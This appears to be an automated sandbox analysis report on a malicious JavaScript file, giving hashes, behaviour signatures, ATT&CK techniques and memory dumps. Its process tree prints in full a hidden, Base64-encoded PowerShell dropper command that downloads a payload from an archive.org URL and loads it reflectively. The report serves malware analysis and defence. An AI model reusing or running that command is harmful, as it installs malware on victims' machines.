6fe1cab4b6d2ebc6ed84710494b10efe07cfd3a77ad66e7088c7dc04163acd48

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 19:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_6fe1cab4b6d2ebc6ed84710494b10efe07cfd3a77ad66e7088c7dc04163acd48.js
Size 6.3MB
Sample260910-yfbbjavfnb
SHA256 6fe1cab4b6d2ebc6ed84710494b10efe07cfd3a77ad66e7088c7dc04163acd48
MD5 d540cf7c0bc160d1e945262ac11fc50b
SHA1 b346ab0c611abc10bf620de815c6a9c2179d7cb1
SHA512 866b7d6f78dbefc13b76f651b2eb4ed5de0c0314f7d5295ab137207011888276297af281f7919b0d4e0cd1bb772983949e8c6687ad22fcb269531a3e9bd15a73
SSDEEP 384:d0awFtI3J8liL+t9rntjB+akAUtDlBBFuF9Jd9t:OFWE9Jd9t
TLSH
T15D6612D03F9541A884B7ADF09EA271C2A14C00CFEA3721DDFC2A256BB718651777EDA1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://archive.org/download/optimized_msi_20251201/optimized_MSI.png
exe.dropper
http://archive.org/download/optimized_msi_20251201/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4544	5732	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_6fe1cab4b6d2ebc6ed84710494b10efe07cfd3a77ad66e7088c7dc04163acd48.js
1⤵
PID:5112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHB5cmFsaWQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50Ow0KJHB5cmFsaWQuSGVhZGVycy5BZGQoIlVzZXItQWdlbnQiLCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjYyNjEuOTUgU2FmYXJpLzUzNy4zNiIpOw0KJHB5cmFsaWQuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRweXJhbGlkLkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTsNCiR0cmljb25vZG9udHkgPSAnaHR0cDovL2FyY2hpdmUub3JnL2Rvd25sb2FkL29wdGltaXplZF9tc2lfMjAyNTEyMDEvb3B0aW1pemVkX01TSS5wbmcnOw0KJGVjaGl1cm9pZCA9ICRweXJhbGlkLkRvd25sb2FkRGF0YSgkdHJpY29ub2RvbnR5KTsNCiRzdGVhbHMgID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRlY2hpdXJvaWQpOw0KaWYgKCRzdGVhbHMgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsNCiAgJGFkdmVydGlzZXJzID0gJG1hdGNoZXNbMV07DQogICRwYXJjaGVzID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYWR2ZXJ0aXNlcnMpKTsNCiAgW0NsYXNzTGlicmFyeTEuQ2xhc3MxXTo6VkFJKCc9PUFkNFJuTHBCM2JEOVNZMFZHY3lGMlkKDXdJVEpoWlhaMTUwTG5KM2J1TW5ia3QyWTFSbUx2QlhZek5IY3dGMmN5Vm1kcEpIWnpkM2JrNVdhM0JIYXdSM2N2aDJMdm9EYzBSSGEnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ01TQnVpbGQnLCcnLCdNU0J1aWxkJywnJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcnLCdUYXNrX05hbWUnLCcxJywnJywnJywnJyk7DQp9')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4544-0-0x00007FFEC814F000-0x00007FFEC8150000-memory.dmp

Download

memory/4544-1-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-4-0x00000208DB6A0000-0x00000208DB6C2000-memory.dmp

Download

memory/4544-5-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-6-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-7-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-9-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-8-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-10-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-11-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-12-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-13-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-15-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-16-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-17-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-18-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download

memory/4544-20-0x00007FFEC7FC0000-0x00007FFEC8964000-memory.dmp

Download